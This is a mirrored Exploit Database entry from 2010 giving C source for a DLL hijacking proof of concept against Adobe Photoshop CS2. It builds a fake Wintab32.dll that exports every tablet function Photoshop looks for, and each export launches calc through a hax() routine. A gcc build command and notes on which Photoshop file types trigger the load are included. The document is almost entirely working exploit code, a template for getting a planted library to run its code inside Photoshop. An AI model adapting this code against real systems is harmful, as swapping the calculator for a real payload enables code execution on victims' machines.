Adobe Photoshop CS2 – ‘Wintab32.dll’ DLL Hijacking

• Exploit Database
• 33 阅读

• 作者： storm
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14741/

• /*
  
  Exploit Title: Adobe Photoshop CS2 DLL Hijacking Exploit (Wintab32.dll)
  Date: August 25, 2010
  Author: storm (storm@gonullyourself.org)
  Version: CS2 (9.0) - Other versions are very possibly exploitable too
  Tested on: Windows Vista SP2
  
  http://www.gonullyourself.org/
  
  gcc -shared -o Wintab32.dll Photoshop-DLL.c
  
  As far as I can tell, every file extension esoteric to Photoshop (documents, plug-ins, brushes, etc.) is affected, but image files (.png, .jpg, .bmp) are not affected.Strangely enough, other file types such as .php and .c with Photoshop (only ones I tested) _are_ affected.
  
  */
  
  #include <windows.h>
  #define DllExport __declspec (dllexport)
  
  DllExport void CloseTabletDevice() { hax(); }
  DllExport void CreateTaskBarIcon() { hax(); }
  DllExport void GetFunctionKeysEx() { hax(); }
  DllExport int __stdcall RunTaskBarIconEx(void) { hax(); return 0xdefaced; }
  DllExport void OpenTabletDevice() { hax(); }
  DllExport void RegDeleteFKeys() { hax(); }
  DllExport void RegGetFKeys() { hax(); }
  DllExport void RemoveTaskBarIcon() { hax(); }
  DllExport void RunClientSideService() { hax(); }
  DllExport void RunTaskBarIcon() { hax(); }
  DllExport void SetFunctionKeys() { hax(); }
  DllExport void SetFunctionKeysEx() { hax(); }
  DllExport void TDCalibration() { hax(); }
  DllExport void TDGetHwInfoEx() { hax(); }
  DllExport void TDGetHwInfoExV2() { hax(); }
  DllExport void TDGetInfoEx() { hax(); }
  DllExport void TDGetProtectData() { hax(); }
  DllExport void TDSetInfoEx() { hax(); }
  DllExport void TGL_Attach() { hax(); }
  DllExport void TGL_Close() { hax(); }
  DllExport void TGL_Detach() { hax(); }
  DllExport void TGL_EndLine() { hax(); }
  DllExport void TGL_Get() { hax(); }
  DllExport void TGL_LineTo() { hax(); }
  DllExport void TGL_MoveTo() { hax(); }
  DllExport void TGL_Open() { hax(); }
  DllExport void TGL_Set() { hax(); }
  DllExport void UpdateTaskBar() { hax(); }
  DllExport void WTClose() { hax(); }
  DllExport void WTConfig() { hax(); }
  DllExport void WTDataGet() { hax(); }
  DllExport void WTDataPeek() { hax(); }
  DllExport void WTEnable() { hax(); }
  DllExport void WTExtGet() { hax(); }
  DllExport void WTExtSet() { hax(); }
  DllExport void WTGetA() { hax(); }
  DllExport void WTGetActiveSessionID() { hax(); }
  DllExport void WTGetW() { hax(); }
  DllExport void WTInfoA() { hax(); }
  DllExport void WTInfoW() { hax(); }
  DllExport void WTMgrClose() { hax(); }
  DllExport void WTMgrConfigReplaceExA() { hax(); }
  DllExport void WTMgrContextEnum() { hax(); }
  DllExport void WTMgrContextOwner() { hax(); }
  DllExport void WTMgrCsrButtonMap() { hax(); }
  DllExport void WTMgrCsrEnable() { hax(); }
  DllExport void WTMgrCsrExt() { hax(); }
  DllExport void WTMgrCsrPressureBtnMarks() { hax(); }
  DllExport void WTMgrCsrPressureBtnMarksEx() { hax(); }
  DllExport void WTMgrCsrPressureResponse() { hax(); }
  DllExport void WTMgrDefContext() { hax(); }
  DllExport void WTMgrDeviceConfig() { hax(); }
  DllExport void WTMgrExt() { hax(); }
  DllExport void WTMgrOpen() { hax(); }
  DllExport void WTMgrPacketHookExA() { hax(); }
  DllExport void WTMgrPacketHookNext() { hax(); }
  DllExport void WTMgrPacketUnhook() { hax(); }
  DllExport void WTOnEvent() { hax(); }
  DllExport void WTOpenA() { hax(); }
  DllExport void WTOpenW() { hax(); }
  DllExport void WTOverlap() { hax(); }
  DllExport void WTPacket() { hax(); }
  DllExport void WTPacketsGet() { hax(); }
  DllExport void WTPacketsPeek() { hax(); }
  DllExport void WTQueuePacketsEx() { hax(); }
  DllExport void WTQueueSizeGet() { hax(); }
  DllExport void WTQueueSizeSet() { hax(); }
  DllExport void WTRestore() { hax(); }
  DllExport void WTSave() { hax(); }
  DllExport void WTServiceStart() { hax(); }
  DllExport void WTServiceStop() { hax(); }
  DllExport void WTSetA() { hax(); }
  DllExport void WTSetActiveSessionID() { hax(); }
  DllExport void WTSetDevice() { hax(); }
  DllExport void WTSetW() { hax(); }
  
  int hax()
  {
  WinExec("calc", 0);
  exit(0);
  return 0;
  }